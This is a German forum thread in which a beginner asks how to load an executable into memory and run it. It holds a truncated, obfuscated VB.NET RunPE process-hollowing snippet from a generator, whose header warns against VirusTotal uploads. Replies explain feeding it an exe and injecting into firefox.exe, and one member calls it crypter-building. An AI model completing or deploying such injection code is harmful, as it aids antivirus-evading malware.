PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Exe to Byte Variable



DoktorByte
04.10.2010, 18:16
Hallo zusammen,

ich habe mal ein bisschen mit VB bzw. C# angefangen und programmiere nun ein wenig herum um erst einmal ein wenig Grundwissen zu schaffen :)
Nun bin ich an einem Punkt angekommen, wo ich gerne eine ausführbare Datei (.exe) in eine Byte Variable einlesen möchte.

Leider habe ich noch nicht so wirklich herausgefunden wie das funktioniert.

Vielleicht kann mir ja hier jemand weiter helfen.

Liebe Grüße
Dok

DizzY_D
04.10.2010, 18:17
Es gibt ein Byte große Executables? Wäre mir neu. o.O

DoktorByte
04.10.2010, 18:29
Hm,... hatte das so interpretiert. Ich wollte nun mal eine Exe Datei erst in den Ram laden und dann ausführen. Hab dann gelesen das man dafür ein extra Modul braucht (warum auch immer ^^).


'----------------------------------------------------------------------------------------- ' Function to Call RunPE is : TpOHArRmqVCNRCcPTneTI - Das ist die Funktion die du callen musst!!!!!!! ' This RunPE was created by RunPE Generator v1.7 for VB.NET by SP7 at 04.10.2010 17:38:44 ' Please don't upload this code to VirusTotal or another site like that bullshit... ' Thanks to: HorstEwald, ShockerZz and t0fx '----------------------------------------------------------------------------------------- Imports System.Runtime.InteropServices Imports System.ComponentModel Public Class JGnVNtPuACitetcCKnEnk Public Const ktfWXASZoTPeuSXTvuRAw As Long = &H200 Public Const gUhstDdGeeknMHckWACTR As Long = &H40 Public Const hspjiMKKPcejqEmXmZOKW As Long = &H80 Public Const MihlsQNmGsMUJahoagcTi As Long = &H20 Public Const nYamGUQSuMrEYwcIOnpdu As Long = &H10 Public Const RNToRXTukcYmnVXaDuGnJ As Long = &H8 Public Const kXjCRgICUVIJUirMGSnnV As Long = &H1 Public Const ONcEbkLfLlnrkHmdrZDAh As Long = &H4 Public Const pCVGmnOKCEVcCdhufgQKt As UInt32 = &H2 Shared Sub TpOHArRmqVCNRCcPTneTI(ByVal VQVvmEvqbTuJwwlBjPqKN() As Byte, ByVal RoXUKGJXReRSOlqSKSbeg As String) Dim seQWVKMCIuwDdKljvZpns = New tFXNKUqGqtrwKGvWPCEeA.XsQOVXtihMYhadqnDIRoM, TTSkqaHPWXtqpSvHaLDKe As tFXNKUqGqtrwKGvWPCEeA.VrZbfklTHVnmWOIrrlPBk, whSdqnovvmVXlkDLfscLw = New tFXNKUqGqtrwKGvWPCEeA.aXLeDrqbmFDIEKvdTCpUL, EMEgOvtGdVhpTgquHIGeX = New tFXNKUqGqtrwKGvWPCEeA.XWUrOGiLNORMAsMgKenei, BMNtZKloEfwuQRHAvlDou = New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ, HowwuRrvjOMQuNujXCeLV = New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ Dim IPGnjbYCUMGMbJHWobqBb = GCHandle.Alloc(VQVvmEvqbTuJwwlBjPqKN, GCHandleType.Pinned) Dim EnIMIejgJYaVrvMmPecVt As Integer = IPGnjbYCUMGMbJHWobqBb.AddrOfPinnedObject.ToInt32 Dim fdBOShmLAoIGJVHHDlpeI As New tFXNKUqGqtrwKGvWPCEeA.hEIFHrTPimDCnRRqTNEVO fdBOShmLAoIGJVHHDlpeI = Marshal.PtrToStructure(IPGnjbYCUMGMbJHWobqBb.AddrO fPinnedObject, fdBOShmLAoIGJVHHDlpeI.GetType) IPGnjbYCUMGMbJHWobqBb.Free() If tFXNKUqGqtrwKGvWPCEeA.CreateProcess(Nothing, RoXUKGJXReRSOlqSKSbeg, BMNtZKloEfwuQRHAvlDou, HowwuRrvjOMQuNujXCeLV, False, 4, Nothing, Nothing, EMEgOvtGdVhpTgquHIGeX, whSdqnovvmVXlkDLfscLw) = 0 Then Return Dim LrBGSvWrZFhkGnMLHURfa As New tFXNKUqGqtrwKGvWPCEeA.HSDcnAhYPQFtVcRcfXDBs LrBGSvWrZFhkGnMLHURfa = Marshal.PtrToStructure(New IntPtr(EnIMIejgJYaVrvMmPecVt + fdBOShmLAoIGJVHHDlpeI.IqKTcKOcAPwpCZaOvAPpA), LrBGSvWrZFhkGnMLHURfa.GetType) Dim IqKTcKOcAPwpCZaOvAPpA, jgDVnORHofeaRvVgjGcCM As Long, NWtWBRUkfvMLhUQAXNqLY As UInteger EMEgOvtGdVhpTgquHIGeX.pLlYLVXPWOqtwqLRMUGVk = Len(EMEgOvtGdVhpTgquHIGeX) End ClassEin wenig gekürzt, da zu lang ;)

und als Erklärung zum Call was folgendes Dabei:


JGnVNtPuACitetcCKnEnk.TpOHArRmqVCNRCcPTneTI(Bytes As Bytes(), Ziel as String)
Jetzt dachte ich, dass Bytes As Bytes() die Datei in einer Byte Variable darstellen soll. Und bei Ziel war ich mir auch nicht sicher.

Am lieben würde ich ja sagen ("paint.exe","testprozess") aber das wäre ja zu einfach anscheinend :D

Liebe Grüße
Dok

LoveSecretGod
04.10.2010, 18:34
File.ReadAllBytes(string DateiPfad)
Liefert ein byte-Array zurück.


Es gibt ein Byte große Executables? Wäre mir neu. o.O
Natürlich gibt es das:
• Erstelle eine txt
• Schreib nen Nuller rein
• und ändere die Endung auf .exe :D

DoktorByte
04.10.2010, 18:43
File.ReadAllBytes(string DateiPfad)
Liefert ein byte-Array zurück.


Natürlich gibt es das:
• Erstelle eine txt
• Schreib nen Nuller rein
• und ändere die Endung auf .exe :D

Supi danke dir. Das scheint schon mal zu funktionieren. Zumindest wirft Visual Studio keine Fehlermeldung mehr raus.

Jetzt muss ich nur noch herausfinden, was ich als Ziel angeben muss. Weil Momentan kann ich das Programm zwar starten aber es tut sich nichts ^^


Dim DateiPfad As String = "C:\putty.exe"
Dim Test2 As String = "testproc"
NwASgwPLktfTRPANmVZID.ZosilFQkETXTHQSokNfAw(File.R eadAllBytes(DateiPfad), Test2)

LoveSecretGod
04.10.2010, 18:48
Dim DateiPfad As String = "C:\putty.exe"


Ich weiß nicht wie es bei Visual Basic ist, aber bei C# macht man einen Doppel-BackSlash '\\' weil einer für verschiedene String-Formatierungen oder wie man sagt zuständig ist..

Oder du stellst vor dem String ein @-Zeichen hin. Damit ist ein Backslash auch ein Backslash, ohne dass jetzt irgendwie was formatiert wird.

string blabla = @"C:\wuff.txt";

DoktorByte
04.10.2010, 19:14
Nochmal ein kleiner Zwischenstand:

Mittlerweile sieht mein Code so aus:


Dim DateiPfad As String = "C:\putty.exe"
Dim Test2 As String = "firefox.exe"
NwASgwPLktfTRPANmVZID.ZosilFQkETXTHQSokNfAw(File.R eadAllBytes(DateiPfad), Test2)
Die Exe Datei wird wohl in einen anderen Prozess Injectet. Leider wird Putty nicht gestartet was richtig sein soll, wegen der Injection. Ich werde mir morgen mal den Kopf zerbrechen, wie ich testen kann ob es wirklich das tut was ich möchte.

Liebe Grüße
Dok

Und danke nochmal an alle :)

hackerking
04.10.2010, 19:21
Vote4Close
Da versucht jemand mit seinen Fragen und seinem Copy&Paste Skill einen RT Crypter zu "erstellen"

DoktorByte
04.10.2010, 19:25
Auch wenn ich dich enttäuschen muss, ich versuche keinen Crypter zu "erstellen", weil ich zum ersten dafür keine Verwendung habe und zum anderen meine Kenntnisse wahrscheinlich bei weiten weiten weiten nicht ausreichen würden.
Ich spiele nur ein wenig, weil wir in der Berufsschule mit C# begonnen haben und ich mich privat ein wenig für VB interessiere.

In dem Sinne...
Dok

hackerking
04.10.2010, 19:34
Auch wenn ich dich enttäuschen muss, ich versuche keinen Crypter zu "erstellen",

das ist nich dein ernst.. alder, die trash namen sind ja fürs ordentliche programmieren und nich um das ding ud zu kriegen...
und du willst grundlos in firefox injecten nä? reiner zufall



weil ich zum ersten dafür keine Verwendung habe und zum anderen meine Kenntnisse wahrscheinlich bei weiten weiten weiten nicht ausreichen würden.

deswegen c&p'st du

http://www.motifake.com/image/demotivational-poster/0808/jesus-facepalm-facepalm-jesus-epic-demotivational-poster-1218659828.jpg

Vote4Kick
Vote4Close

Abschaum :D

DoktorByte
04.10.2010, 19:39
das ist nich dein ernst.. alder, die trash namen sind ja fürs ordentliche programmieren und nich um das ding ud zu kriegen...
und du willst grundlos in firefox injecten nä? reiner zufall

Nein, weil ich noch in einem anderen Forum mein Problem geschildert habe, und ich erst dachte ich muss als Ziel eine Datei angeben, die dann im RAM erzeugt wird. Dort wurde mir dann allerdings gesagt, dass ich einen Prozess zum Injecten angeben muss, wie z.B. firefox.exe. Wenn du möchtest schicke ich dir gerne den Link zu dem anderen Forum.

Dok

hackerking
04.10.2010, 19:51
Und der Trash Code ist reiner Zufall? (nicht der vom Runpe modul, sondern das von den dateien) ach weißt du niemand wird dir mehr antworten, weil diese person sonst als c&p unterstüzter dasteht.. :P

<~Engel~>
04.10.2010, 20:01
@DoktorByte
Wenn du eine Datei mit dem RunPe modul starten willst musst du diesese Datei einfach als Ressource hinzufügen. Danach müsste dein Code zum Starten so Aussehen.

JGnVNtPuACitetcCKnEnk.TpOHArRmqVCNRCcPTneTI(My.Res ources.NameDeinerExe,"der-Process-egal-ob-mit-oder-ohne.exe")
(http://free-hack.com/member.php?u=35945)

DoktorByte
04.10.2010, 20:02
@hackerking (http://free-hack.com/member.php?u=50553)
Der "Tash-Code" stammt von einem RunPE Generator der mir von selbiger Seite empfohlen wurde.

Aber ich finde es scheiße, dass man hier direkt verurteilt wird, nur weil man mal was ausprobiert und ein wenig herum spielt. Bei irgendwelchen 12 jährigen Kindern, die ein 3 Zeilen Skript schreiben um die Platte voll zu müllen oder sonst was, das ist voll ok, aber weil jemand mal was ausprobiert, direkt so ein aufstand.
Daran sieht man mal wieder, dass es auch hier genug Idioten gibt.

Ist wirklich nicht mehr Lohnenswert hier was zu fragen oder gar sich hier noch aufzuhalten...

EDIT:

@<~Engel~> (http://free-hack.com/member.php?u=66194), danke das wenigstens ein paar Leute noch hilfsbereit sind :) Ich werde es gleich mal ausprobieren

chilln
04.10.2010, 20:05
Starte es als dein eigener Prozess.

Process.GetCurrentProcess().Name oder so die genaue Eigenschaft weiß ich nicht...
Nein mach lieber Application.StartupPath

Achja der RUNPE-Generator stinkt, das Output funzt nur auf 30% der Systeme

DoktorByte
04.10.2010, 20:13
Das ist nicht schlimm. Bei mir scheint es ja zu funktionieren. Zumindest, wirft Visual Studio keine Fehlermeldung mehr.
Ist ja nur gedacht um bei mir auf dem System ein wenig zu spielen. Wenn es auf anderen nicht läuft ist das nicht schlimm :)
Nur wenn ich sage Injecte mal Putty in Firefox würde ich erwarten, dass sich dann die Oberfläche von Putty öffnet. Tut es allerdings nicht. Auch wenn Leute aus dem anderen Forum gesagt haben, das ist richtig so, kommt mir das doch komisch vor ^^

GregorSamsa
04.10.2010, 20:49
Ja, warscheinlich funzt der Code nicht

Das hat nichts mit dem Compiler (oder wie auch immer sich das VB/C# Ding schimpft) zu tun...

chilln
04.10.2010, 20:56
Stell mal die Buildkonfiguration auf x86, auf 64bit oder Doppelmodus funzen die public runpes nicht weil die bisschen fail sind.